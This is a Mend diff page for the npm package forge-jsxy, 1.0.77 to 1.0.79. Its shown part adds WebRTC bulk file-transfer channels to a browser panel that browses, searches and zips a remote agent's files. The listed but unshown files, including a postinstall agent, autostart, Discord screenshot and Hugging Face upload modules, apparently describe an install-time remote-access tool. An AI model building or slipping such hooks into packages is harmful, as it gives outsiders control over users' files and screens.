npm - forge-jsxy - Versions diffs - 1.0.77 → 1.0.79 - Mend

forge-jsxy 1.0.77 → 1.0.79

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Files changed (27) hide show

package/assets/files-explorer-template.html +420 -6
package/assets/remote-control-template.html +673 -179
package/dist/assets/files-explorer-template.html +421 -7
package/dist/assets/remote-control-template.html +673 -179
package/dist/autostart/agentEnvFile.d.ts +3 -2
package/dist/autostart/agentEnvFile.js +8 -4
package/dist/cli-agent.js +3 -3
package/dist/cli-relay.js +3 -0
package/dist/discordAgentScreenshot.d.ts +1 -1
package/dist/discordAgentScreenshot.js +43 -17
package/dist/discordRelayUpload.js +1 -1
package/dist/forgeBulkDc.d.ts +57 -0
package/dist/forgeBulkDc.js +264 -0
package/dist/forgeRtcAgent.d.ts +31 -0
package/dist/forgeRtcAgent.js +259 -0
package/dist/fsProtocol.d.ts +15 -0
package/dist/fsProtocol.js +140 -53
package/dist/hfCredentials.js +4 -1
package/dist/hfUpload.js +38 -4
package/dist/relayAgent.js +262 -47
package/dist/relayDashboardGate.js +8 -0
package/dist/relayServer.js +197 -25
package/package.json +5 -3
package/scripts/copy-assets.mjs +15 -2
package/scripts/discord-live-probe.mjs +66 -4
package/scripts/forge-jsx-explorer-upgrade.mjs +1 -1
package/scripts/postinstall-agent.mjs +13 -0

package/assets/files-explorer-template.html CHANGED Viewed

@@ -1,4 +1,4 @@
-\<!DOCTYPE html>
+<!DOCTYPE html>
 <html lang="en">
 <head>
 <meta charset="UTF-8">
@@ -1608,13 +1608,13 @@
     </div>
     <div id="bar-row-nav" class="fe-bar-row" role="toolbar" aria-label="Browse and search">
     <span id="fe-build" class="fe-build-pill fe-toggle-extra" title="Forge-jsxy build stamp — Ctrl+Shift+R if UI looks outdated.">2026.06i</span>
-    <button type="button" class="sec fe-icon-btn" id="btn-hist-back" onclick="goHistBack()" title="History back; at C:\\ / drive root also opens drive list" aria-label="Back"><span class="codicon codicon-chevron-left" aria-hidden="true"></span></button>
+    <button type="button" class="sec fe-icon-btn" id="btn-hist-back" onclick="goHistBack()" title="History back; when already at drive root (Windows or /), opens the drive list" aria-label="Back"><span class="codicon codicon-chevron-left" aria-hidden="true"></span></button>
     <button type="button" class="sec fe-icon-btn" id="btn-hist-fwd" onclick="goHistForward()" title="Next folder in history" aria-label="Forward"><span class="codicon codicon-chevron-right" aria-hidden="true"></span></button>
     <button type="button" class="sec fe-icon-btn" onclick="goUp()" title="Parent folder or drive list" aria-label="Up"><span class="codicon codicon-arrow-up" aria-hidden="true"></span></button>
     <button type="button" class="sec fe-icon-btn" onclick="refresh()" title="Reload current folder listing" aria-label="Refresh"><span class="codicon codicon-refresh" aria-hidden="true"></span></button>
     <input id="path" placeholder="Current folder path" title="Shows the open folder path (Windows Explorer–style). Type a path and press Go."/>
     <button type="button" class="sec" onclick="goPath()">Go</button>
-    <input id="search" placeholder="Search tree (e.g. *.pdf or solana dex)" title="Recursive search in current folder tree: case-insensitive keywords and wildcards (*, ?)."/>
+    <input id="search" placeholder="Search this folder tree — keywords, *.pdf, ?.txt (recursive; Enter or Search)" title="Recursive search from the current folder: case-insensitive keywords (AND), wildcards (* ? [] {}). Press Enter or click Search. Uses agent deep scan (upgrade forge-jsx if you only see current-folder matches)."/>
     <button type="button" class="sec" id="btn-search" onclick="runSearch()">Search</button>
     <button type="button" class="sec" id="btn-search-clear" onclick="clearSearch()">Clear search</button>
     <button type="button" class="sec fe-toggle-extra" onclick="viewSel()">View</button>
@@ -1702,6 +1702,24 @@ let _explorerAutoConnectTimer = null;
 let _explorerVoluntaryDisconnect = false;
 /** From agent `system_info` after `get_info` — shell one-liners + screenshot button (win32 / linux / darwin). */
 let agentPlatform = '';
+/** Semver from agent `system_info` — skips WebRTC offers when known-old vs this relay bundle. */
+let sessionForgeJsxVersion = '';
+/** Relay-advertised WebRTC (signaling stays on WebSocket; optional `forge-rc` P2P for small fs/rc JSON). */
+let relayWebrtcSignaling = false;
+let relayRtcIceServers = null;
+let forgeRtcPc = null;
+let forgeRtcDc = null;
+/** Ordered bulk binary channel for large `fs_read`/`fs_zip` (JSON hdr + raw bytes). */
+let forgeRtcDcBulk = null;
+let forgeBulkFeExpectHdr = true;
+let forgeBulkFeRx = null;
+let forgeRtcRemoteDescDone = false;
+const forgeRtcPendingRemoteCandidates = [];
+let forgeRtcProbeStarted = false;
+let forgeRtcReconnectTimer = null;
+let forgeRtcReconnectAttempts = 0;
+const FORGE_RTC_MAX_RECONNECT = 2;
+var FORGE_AGENT_WEBRTC_MIN_VERSION = '__FORGE_AGENT_WEBRTC_MIN_VERSION__';
 let wantScreenshotRid = null;
 let screenshotBlobUrl = null;
 /** Resizable explorer panes (`#fe-splitter-v` / `#fe-splitter-h`) — sizes persisted in localStorage. */
@@ -1762,6 +1780,287 @@ function scheduleFsChunkRequest(fn){
   if(WS_CHUNK_REQUEST_GAP_MS > 0) setTimeout(fn, WS_CHUNK_REQUEST_GAP_MS);
   else fn();
 }
+function parseVersionFe(v){
+  return String(v || '').split('.').map(function(n){ return parseInt(n, 10); }).filter(function(n){ return isFinite(n); });
+}
+function versionLtFe(a, b){
+  var av = parseVersionFe(a), bv = parseVersionFe(b);
+  var n = Math.max(av.length, bv.length);
+  for (var i = 0; i < n; i++) {
+    var ai = av[i] || 0, bi = bv[i] || 0;
+    if (ai < bi) return true;
+    if (ai > bi) return false;
+  }
+  return false;
+}
+function resetForgeBulkFeInbound(){
+  forgeBulkFeExpectHdr = true;
+  forgeBulkFeRx = null;
+}
+var FORGE_BULK_MAX_BODY_BYTES_FE = 96468992;
+var FORGE_BULK_V2_MAX_CHUNK_ADV_FE = 262144;
+/** Must match `FORGE_BULK_V2_MIN_CHUNK_SZ` in forgeBulkDc.ts. */
+var FORGE_BULK_V2_MIN_CHUNK_ADV_FE = 1024;
+function forgeBulkFeBytesToB64(u8){
+  var bin = '';
+  var CH = 0x8000;
+  for (var i = 0; i < u8.length; i += CH) {
+    bin += String.fromCharCode.apply(null, u8.subarray(i, Math.min(i + CH, u8.length)));
+  }
+  return btoa(bin);
+}
+function forgeBulkFeStripHdr(hdr){
+  var msg = {};
+  for (var k in hdr) {
+    if (
+      Object.prototype.hasOwnProperty.call(hdr, k) &&
+      k !== '_fb' &&
+      k !== 'v' &&
+      k !== 'byte_len' &&
+      k !== 'chunk_sz'
+    ) {
+      msg[k] = hdr[k];
+    }
+  }
+  return msg;
+}
+function attachForgeRtcDcBulkFe(pc){
+  resetForgeBulkFeInbound();
+  forgeRtcDcBulk = null;
+  try {
+    forgeRtcDcBulk = pc.createDataChannel('forge-bulk', { ordered: true });
+  } catch (eBk) {
+    return;
+  }
+  forgeRtcDcBulk.binaryType = 'arraybuffer';
+  forgeRtcDcBulk.onmessage = function(ev){
+    try {
+      if (!forgeBulkFeExpectHdr && typeof ev.data === 'string') {
+        resetForgeBulkFeInbound();
+      }
+      if (forgeBulkFeExpectHdr) {
+        if (typeof ev.data !== 'string') {
+          resetForgeBulkFeInbound();
+          return;
+        }
+        var j = JSON.parse(ev.data);
+        if (j && j._fb === 'abort') {
+          resetForgeBulkFeInbound();
+          return;
+        }
+        if (!j || j._fb !== 'hdr') {
+          resetForgeBulkFeInbound();
+          return;
+        }
+        var ver = Number(j.v);
+        if (ver !== 1 && ver !== 2) {
+          resetForgeBulkFeInbound();
+          return;
+        }
+        var bl = Number(j.byte_len);
+        if (!isFinite(bl) || bl < 0 || bl > FORGE_BULK_MAX_BODY_BYTES_FE || Math.floor(bl) !== bl) {
+          resetForgeBulkFeInbound();
+          return;
+        }
+        bl = bl | 0;
+        if (bl === 0) {
+          var msg0 = forgeBulkFeStripHdr(j);
+          msg0.b64 = '';
+          resetForgeBulkFeInbound();
+          onMsg(msg0);
+          return;
+        }
+        if (ver === 1) {
+          forgeBulkFeRx = { phase: 'v1', hdr: j };
+          forgeBulkFeExpectHdr = false;
+          return;
+        }
+        var cs = Number(j.chunk_sz);
+        if (!isFinite(cs) || cs < FORGE_BULK_V2_MIN_CHUNK_ADV_FE || cs > FORGE_BULK_V2_MAX_CHUNK_ADV_FE || Math.floor(cs) !== cs) {
+          resetForgeBulkFeInbound();
+          return;
+        }
+        cs = cs | 0;
+        var buf;
+        try {
+          buf = new Uint8Array(bl);
+        } catch (eAlloc) {
+          resetForgeBulkFeInbound();
+          return;
+        }
+        forgeBulkFeRx = { phase: 'v2', hdr: j, buf: buf, filled: 0, chunkSz: cs };
+        forgeBulkFeExpectHdr = false;
+        return;
+      }
+      var u8 = ev.data instanceof ArrayBuffer ? new Uint8Array(ev.data) : new Uint8Array();
+      var rx = forgeBulkFeRx;
+      if (!rx) {
+        resetForgeBulkFeInbound();
+        return;
+      }
+      if (rx.phase === 'v1') {
+        var hdr1 = rx.hdr;
+        var bl1 = Number(hdr1.byte_len) | 0;
+        if (u8.length !== bl1) {
+          resetForgeBulkFeInbound();
+          return;
+        }
+        forgeBulkFeRx = null;
+        forgeBulkFeExpectHdr = true;
+        var msg1 = forgeBulkFeStripHdr(hdr1);
+        msg1.b64 = forgeBulkFeBytesToB64(u8);
+        onMsg(msg1);
+        return;
+      }
+      if (rx.phase === 'v2') {
+        var rem = (Number(rx.hdr.byte_len) | 0) - rx.filled;
+        if (u8.length <= 0 || u8.length > rem) {
+          resetForgeBulkFeInbound();
+          return;
+        }
+        if (rem > rx.chunkSz) {
+          if (u8.length !== rx.chunkSz) {
+            resetForgeBulkFeInbound();
+            return;
+          }
+        } else if (u8.length !== rem) {
+          resetForgeBulkFeInbound();
+          return;
+        }
+        rx.buf.set(u8, rx.filled);
+        rx.filled += u8.length;
+        if (rx.filled === (Number(rx.hdr.byte_len) | 0)) {
+          var msg2 = forgeBulkFeStripHdr(rx.hdr);
+          msg2.b64 = forgeBulkFeBytesToB64(rx.buf);
+          resetForgeBulkFeInbound();
+          onMsg(msg2);
+        }
+        return;
+      }
+      resetForgeBulkFeInbound();
+    } catch (eBkMsg) {
+      resetForgeBulkFeInbound();
+    }
+  };
+}
+async function flushForgeRtcRemoteCandidatesFe(){
+  var pc = forgeRtcPc;
+  if (!pc) return;
+  var pending = forgeRtcPendingRemoteCandidates.splice(0, forgeRtcPendingRemoteCandidates.length);
+  for (var i = 0; i < pending.length; i++) {
+    try {
+      await pc.addIceCandidate(pending[i]);
+    } catch (e) {}
+  }
+}
+function teardownForgeRtcExplorer(){
+  forgeRtcRemoteDescDone = false;
+  forgeRtcPendingRemoteCandidates.length = 0;
+  forgeRtcDc = null;
+  forgeRtcDcBulk = null;
+  resetForgeBulkFeInbound();
+  try {
+    if (forgeRtcPc) {
+      forgeRtcPc.close();
+      forgeRtcPc = null;
+    }
+  } catch (e) {}
+  forgeRtcProbeStarted = false;
+}
+function scheduleForgeRtcReconnectExplorer(){
+  if (!relayWebrtcSignaling || !ws || ws.readyState !== 1 || !authed) return;
+  if (forgeRtcReconnectAttempts >= FORGE_RTC_MAX_RECONNECT) return;
+  if (forgeRtcReconnectTimer) return;
+  var delayMs = 2400 + forgeRtcReconnectAttempts * 800;
+  forgeRtcReconnectTimer = setTimeout(function(){
+    forgeRtcReconnectTimer = null;
+    if (!relayWebrtcSignaling || !ws || ws.readyState !== 1 || !authed) return;
+    if (forgeRtcReconnectAttempts >= FORGE_RTC_MAX_RECONNECT) return;
+    forgeRtcReconnectAttempts++;
+    if (forgeRtcProbeStarted) return;
+    tryForgeRtcExplorerProbe();
+  }, delayMs);
+}
+/** Same labels/agent behavior as remote control; uploads & huge reads stay on WebSocket (SCTP-safe size cap in `send`). */
+function tryForgeRtcExplorerProbe(){
+  if (forgeRtcProbeStarted || !relayWebrtcSignaling) return;
+  if (typeof RTCPeerConnection === 'undefined') return;
+  if (!ws || ws.readyState !== 1 || !authed) return;
+  var minV = String(typeof FORGE_AGENT_WEBRTC_MIN_VERSION !== 'undefined' ? FORGE_AGENT_WEBRTC_MIN_VERSION : '').trim();
+  if (/^\d/.test(minV) && sessionForgeJsxVersion && versionLtFe(sessionForgeJsxVersion, minV)) return;
+  forgeRtcProbeStarted = true;
+  forgeRtcRemoteDescDone = false;
+  forgeRtcPendingRemoteCandidates.length = 0;
+  forgeRtcDc = null;
+  forgeRtcDcBulk = null;
+  resetForgeBulkFeInbound();
+  var ice = Array.isArray(relayRtcIceServers) && relayRtcIceServers.length > 0
+    ? relayRtcIceServers
+    : [{ urls: 'stun:stun.l.google.com:19302' }];
+  try {
+    try {
+      forgeRtcPc = new RTCPeerConnection({
+        iceServers: ice,
+        iceTransportPolicy: 'all',
+        bundlePolicy: 'max-bundle',
+        rtcpMuxPolicy: 'require',
+        iceCandidatePoolSize: 10,
+      });
+    } catch (ePc) {
+      try {
+        forgeRtcPc = new RTCPeerConnection({
+          iceServers: ice,
+          iceTransportPolicy: 'all',
+          bundlePolicy: 'max-bundle',
+          rtcpMuxPolicy: 'require',
+        });
+      } catch (ePc2) {
+        forgeRtcPc = new RTCPeerConnection({ iceServers: ice });
+      }
+    }
+    forgeRtcDc = forgeRtcPc.createDataChannel('forge-rc', { ordered: false });
+    forgeRtcDc.onmessage = function(ev){
+      try {
+        var parsed = JSON.parse(String(ev.data || ''));
+        onMsg(parsed);
+      } catch (e1) {}
+    };
+    attachForgeRtcDcBulkFe(forgeRtcPc);
+    forgeRtcPc.onconnectionstatechange = function(){
+      try {
+        var st = forgeRtcPc && forgeRtcPc.connectionState;
+        if (st === 'failed') {
+          teardownForgeRtcExplorer();
+          scheduleForgeRtcReconnectExplorer();
+        }
+      } catch (eCs) {}
+    };
+    forgeRtcPc.onicecandidate = function(ev){
+      if (!ws || ws.readyState !== 1) return;
+      if (ev && ev.candidate) {
+        try {
+          ws.send(JSON.stringify({
+            type: 'forge_rtc_candidate',
+            candidate: ev.candidate.candidate,
+            sdpMid: ev.candidate.sdpMid,
+            sdpMLineIndex: ev.candidate.sdpMLineIndex,
+          }));
+        } catch (e2) {}
+      }
+    };
+    forgeRtcPc.createOffer().then(function(offer){
+      return forgeRtcPc.setLocalDescription(offer).then(function(){
+        ws.send(JSON.stringify({ type: 'forge_rtc_offer', sdp: offer.sdp, sdpType: offer.type }));
+      });
+    }).catch(function(){ teardownForgeRtcExplorer(); });
+  } catch (e) {
+    teardownForgeRtcExplorer();
+  }
+}
 let _agentHintTimer = null;
 function clearAgentHintTimer(){
   if(_agentHintTimer){ clearTimeout(_agentHintTimer); _agentHintTimer = null; }
@@ -4018,6 +4317,14 @@ async function doConnect(){
     _explorerAutoConnectTimer = null;
   }
   _explorerVoluntaryDisconnect = false;
+  if(forgeRtcReconnectTimer){
+    clearTimeout(forgeRtcReconnectTimer);
+    forgeRtcReconnectTimer = null;
+  }
+  forgeRtcReconnectAttempts = 0;
+  teardownForgeRtcExplorer();
+  relayWebrtcSignaling = false;
+  relayRtcIceServers = null;
   if(ws){
     try{
       ws.onopen = null;
@@ -4110,17 +4417,56 @@ async function doConnect(){
   };
   activeSock.onmessage = function(ev){
     if(ws !== activeSock) return;
+    function dispatchParsed(msg){
+      var mt = String(msg && msg.type || '');
+      if(mt === 'forge_rtc_answer'){
+        if(!forgeRtcPc) return;
+        var sdp = String(msg.sdp || '');
+        var typ = String(msg.sdpType || 'answer');
+        Promise.resolve().then(function(){
+          return forgeRtcPc.setRemoteDescription({ type: typ, sdp: sdp }).then(function(){
+            forgeRtcRemoteDescDone = true;
+            return flushForgeRtcRemoteCandidatesFe();
+          });
+        }).catch(function(){});
+        return;
+      }
+      if(mt === 'forge_rtc_agent_candidate'){
+        if(!forgeRtcPc) return;
+        var cand = String(msg.candidate || '').trim();
+        if(!cand) return;
+        var cinit = {
+          candidate: cand,
+          sdpMid: msg.sdpMid != null ? String(msg.sdpMid) : null,
+          sdpMLineIndex: isFinite(Number(msg.sdpMLineIndex)) ? Number(msg.sdpMLineIndex) : null,
+        };
+        Promise.resolve().then(function(){
+          if(!forgeRtcRemoteDescDone){
+            forgeRtcPendingRemoteCandidates.push(cinit);
+          } else {
+            return forgeRtcPc.addIceCandidate(cinit);
+          }
+        }).catch(function(){});
+        return;
+      }
+      onMsg(msg);
+    }
     if(ev.data instanceof ArrayBuffer){
       const raw = new Uint8Array(ev.data);
       const t = new TextDecoder().decode(raw.slice(0,1));
       if(t !== '{' && t !== '[') return;
-      try { onMsg(JSON.parse(new TextDecoder().decode(raw))); } catch(e){}
+      try { dispatchParsed(JSON.parse(new TextDecoder().decode(raw))); } catch(e){}
       return;
     }
-    try { onMsg(JSON.parse(ev.data)); } catch(e){}
+    try { dispatchParsed(JSON.parse(ev.data)); } catch(e){}
   };
   activeSock.onclose = function(ev){
     if(ws !== activeSock) return;
+    if(forgeRtcReconnectTimer){ clearTimeout(forgeRtcReconnectTimer); forgeRtcReconnectTimer = null; }
+    forgeRtcReconnectAttempts = 0;
+    teardownForgeRtcExplorer();
+    relayWebrtcSignaling = false;
+    relayRtcIceServers = null;
     stashXferDisconnectNote('— viewer disconnected');
     clearAuthChallengeWatch();
     clearAuthResultWatch();
@@ -4178,10 +4524,57 @@ async function doConnect(){
   };
 }
-function send(o){ if(ws && ws.readyState===1) ws.send(JSON.stringify(o)); }
+function send(o){
+  var ty = String(o && o.type || '');
+  var wsOnly =
+    ty === 'viewer_ping' ||
+    ty === 'get_info' ||
+    ty === 'auth' ||
+    ty === 'fs_hf_upload' ||
+    ty.indexOf('forge_rtc_') === 0 ||
+    ty.indexOf('relay_') === 0;
+  var s;
+  try {
+    s = JSON.stringify(o);
+  } catch (e) {
+    return;
+  }
+  if (wsOnly) {
+    if(ws && ws.readyState===1) ws.send(s);
+    return;
+  }
+  if (authed && forgeRtcDc && forgeRtcDc.readyState === 'open' && s.length <= 32768) {
+    try {
+      forgeRtcDc.send(s);
+      return;
+    } catch (e) {}
+  }
+  if(ws && ws.readyState===1) ws.send(s);
+}
 function onMsg(m){
   const t = m.type;
+  if(t==='relay_webrtc_availability'){
+    relayWebrtcSignaling = m.webrtc_signaling === true;
+    relayRtcIceServers = Array.isArray(m.rtc_ice_servers) ? m.rtc_ice_servers : null;
+    if(!relayWebrtcSignaling){
+      if(forgeRtcReconnectTimer){ clearTimeout(forgeRtcReconnectTimer); forgeRtcReconnectTimer = null; }
+      forgeRtcReconnectAttempts = 0;
+      teardownForgeRtcExplorer();
+    } else if(authed && ws && ws.readyState === 1 && !forgeRtcProbeStarted){
+      setTimeout(function(){ tryForgeRtcExplorerProbe(); }, 350);
+    }
+    return;
+  }
+  if(t==='forge_rtc_agent_status'){
+    if(m.ok === true && m.datachannel === true){
+      forgeRtcReconnectAttempts = 0;
+      return;
+    }
+    teardownForgeRtcExplorer();
+    scheduleForgeRtcReconnectExplorer();
+    return;
+  }
   if(t==='explorer_client_seq'){
     try{
       var st = String(m.session_table || '').trim();
@@ -4193,6 +4586,8 @@ function onMsg(m){
   }
   if(t==='connected'){
     clearAgentHintTimer();
+    relayWebrtcSignaling = m.webrtc_signaling === true;
+    relayRtcIceServers = Array.isArray(m.rtc_ice_servers) ? m.rtc_ice_servers : null;
     if(m.agent_online){
       /**
        * Never treat an empty `ws._pwHash` as passwordless here — the agent may still send `auth_challenge`.
@@ -4225,6 +4620,8 @@ function onMsg(m){
     try{
       const d = m.data || {};
       agentPlatform = String(d.platform != null ? d.platform : '').trim().toLowerCase();
+      var fv = String(d.forge_jsx_version || d.forge_jsxy_version || '').trim();
+      if(fv) sessionForgeJsxVersion = fv;
       updateAgentShellHints();
     }catch(e){}
   }
@@ -4293,6 +4690,9 @@ function onMsg(m){
         restoreXferSnapIfAny();
         repaintXferStatusIfNeeded();
         startViewerKeepalive();
+        forgeRtcReconnectAttempts = 0;
+        if(forgeRtcReconnectTimer){ clearTimeout(forgeRtcReconnectTimer); forgeRtcReconnectTimer = null; }
+        setTimeout(function(){ tryForgeRtcExplorerProbe(); }, 350);
         sendFsRoots();
         updateAgentShellHints();
       } else afterAuth();
@@ -4337,6 +4737,9 @@ function onMsg(m){
     }
   }
   if(t==='agent_disconnected'){
+    if(forgeRtcReconnectTimer){ clearTimeout(forgeRtcReconnectTimer); forgeRtcReconnectTimer = null; }
+    forgeRtcReconnectAttempts = 0;
+    teardownForgeRtcExplorer();
     authed = false;
     clearAuthChallengeWatch();
     clearAuthResultWatch();
@@ -4980,6 +5383,8 @@ function onMsg(m){
     return;
   }
   if(t==='fs_error'){
+    /** Same as `fs_hf_upload_result` — after refresh/reauth, `wantHfRid` may live only in storage. */
+    if(!wantHfRid) restoreHfRidIfAny();
     const err = String(m.error != null ? m.error : 'fs error');
     let displayErr = err;
     let xferHit = false;
@@ -5256,6 +5661,9 @@ function afterAuth(){
   restoreHfRidIfAny();
   restoreXferSnapIfAny();
   startViewerKeepalive();
+  forgeRtcReconnectAttempts = 0;
+  if(forgeRtcReconnectTimer){ clearTimeout(forgeRtcReconnectTimer); forgeRtcReconnectTimer = null; }
+  setTimeout(function(){ tryForgeRtcExplorerProbe(); }, 350);
   sendFsRoots();
   try { send({ type: 'get_info' }); } catch(e){}
   syncOverlayXferHint();
@@ -6134,6 +6542,7 @@ document.addEventListener('keydown', ev => {
   if(ev.target && ev.target.id==='path' && ev.key==='Enter'){ ev.preventDefault(); goPath(); return; }
   if(ev.target && ev.target.id==='search' && ev.key==='Enter'){
     ev.preventDefault();
+    runSearch();
     return;
   }
   if(!authed || wantDownloadRid != null || wantFolderZipRid != null || wantDeleteRid != null || wantHfRid != null) return;
@@ -6168,6 +6577,11 @@ document.addEventListener('keydown', ev => {
 function doDisconnect(){
   cancelForgeUpgradeReconnectTimeouts();
+  if(forgeRtcReconnectTimer){ clearTimeout(forgeRtcReconnectTimer); forgeRtcReconnectTimer = null; }
+  forgeRtcReconnectAttempts = 0;
+  teardownForgeRtcExplorer();
+  relayWebrtcSignaling = false;
+  relayRtcIceServers = null;
   if(_explorerAutoConnectTimer){
     clearTimeout(_explorerAutoConnectTimer);
     _explorerAutoConnectTimer = null;